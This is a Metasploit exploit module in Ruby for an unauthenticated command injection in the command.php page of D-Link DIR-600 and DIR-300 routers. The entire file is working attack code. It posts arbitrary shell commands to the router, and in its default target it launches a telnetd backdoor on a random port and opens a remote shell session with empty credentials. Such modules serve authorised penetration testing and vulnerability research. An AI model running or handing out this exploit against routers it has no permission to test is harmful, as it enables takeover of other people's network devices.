D-Link Devices Unauthenticated Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::CommandShell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',  
'Description' => %q{  
Different D-Link Routers are vulnerable to OS command injection via the web  
interface. The vulnerability exists in command.php, which is accessible without  
authentication. This module has been tested with the versions DIR-600 2.14b01,  
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service  
and establish a session over it, the second one runs commands via the CMD target.  
There is no wget or tftp client to upload an elf backdoor easily. According to the  
vulnerability discoverer, more D-Link devices may affected.  
},  
'Author' =>  
[  
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '89861' ],  
[ 'EDB', '24453' ],  
[ 'BID', '57734' ],  
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],  
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]  
],  
'DisclosureDate' => 'Feb 04 2013',  
'Privileged' => true,  
'Platform' => ['linux','unix'],  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'CMD', #all devices  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Telnet', #all devices - default target  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
],  
'DefaultTarget' => 1  
))  
end  
  
def exploit  
if target.name =~ /CMD/  
exploit_cmd  
else  
exploit_telnet  
end  
end  
  
def exploit_cmd  
if not (datastore['CMD'])  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
cmd = "#{payload.encoded}; echo end"  
print_status("#{rhost}:#{rport} - Sending exploit request...")  
res = request(cmd)  
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
  
if res.body.include?("end")  
print_good("#{rhost}:#{rport} - Exploited successfully\n")  
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")  
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
  
return  
end  
  
def exploit_telnet  
telnetport = rand(65535)  
  
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")  
  
cmd = "telnetd -p #{telnetport}"  
  
#starting the telnetd gives no response  
print_status("#{rhost}:#{rport} - Sending exploit request...")  
request(cmd)  
  
begin  
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })  
  
if sock  
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")  
add_socket(sock)  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")  
end  
  
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"  
auth_info = {  
:host => rhost,  
:port => telnetport,  
:sname => 'telnet',  
:user => "",  
:pass => "",  
:source_type => "exploit",  
:active => true  
}  
report_auth_info(auth_info)  
merge_me = {  
'USERPASS_FILE' => nil,  
'USER_FILE' => nil,  
'PASS_FILE' => nil,  
'USERNAME' => nil,  
'PASSWORD' => nil  
}  
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)  
rescue  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")  
end  
return  
end  
  
def request(cmd)  
  
uri = '/command.php'  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'vars_post' => {  
"cmd" => cmd  
}  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")  
end  
end  
end  
`